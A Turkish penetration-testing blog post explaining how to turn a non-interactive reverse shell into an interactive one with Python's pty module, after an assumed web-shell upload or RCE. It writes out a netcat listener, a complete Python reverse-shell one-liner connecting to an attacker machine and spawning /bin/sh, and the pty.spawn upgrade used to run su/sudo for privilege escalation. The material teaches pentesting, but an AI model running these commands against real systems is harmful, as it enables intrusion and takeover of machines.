Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Python PTY ile Etkileşimli Shell

Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır.

Şimdi bu senaryoyu gerçekleştirelim.

r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum.

Kendimize reverse shell alabilmek için 4545 portunu dinlemeye alıyoruz.

nc -lvp 4545

nc-lvp-4545

Reverse Shell Cheat Sheet‘de verilen komutlardan birini web shell üzerinde çalıştırıp Netcat ile dinlediğimiz porta shell veriyoruz.

Ben Python kullanacağım, kodu kendime göre düzenliyorum

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.36",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

Bu kodu hedef sistem üzerinde çalıştırıyoruz.

non-interactive

Netcat üzerinden shell geliyor ancak bu non-interactive bir shell olduğundan her zaman bir pentester için yeterli olmayacaktır.

Non-interactive Shell

kısaca tanımlamak gerekirse kullanıcıdan veri girişi alamayan, sadece çıktı verebilen komutların çalıştırılabileceği bir shelldir.

 

non-shell-example

Yukarıda ki ekran görüntüsünde çıktı veren komutların çalıştığını görebiliyorsunuz ancak bir sisteme giren hacker/pentester ın ilk amacı yetki yükseltmek olacaktır ve bunun için ise ilk denenecek şey su / sudo komutları olacaktır ki bu komutlar parola için kullanıcıdan veri girmesini bekler. Bu durumda non-interactive bir shell üzerinde kala kalırız. GCC gibi derleyicileri çalıştırmak içinde yetersiz kalır ve çalıştırılmak istenilen bir exploit derlenemez.

non-interactive bir shelli interactive bir shelle çevirmenin yolu ise Python’dan geçer.  Python PTY shelle geçmek için kullanılması gereken python kodu;

 python -c 'import pty; pty.spawn("/bin/sh")' 

python-pty

Artık interactive bir shell üzerinde komut çalıştırabiliyoruz…

root

About Hakkı YÜCE

Cyber Security Researcher / Project Director at Canyoupwnme

Follow Me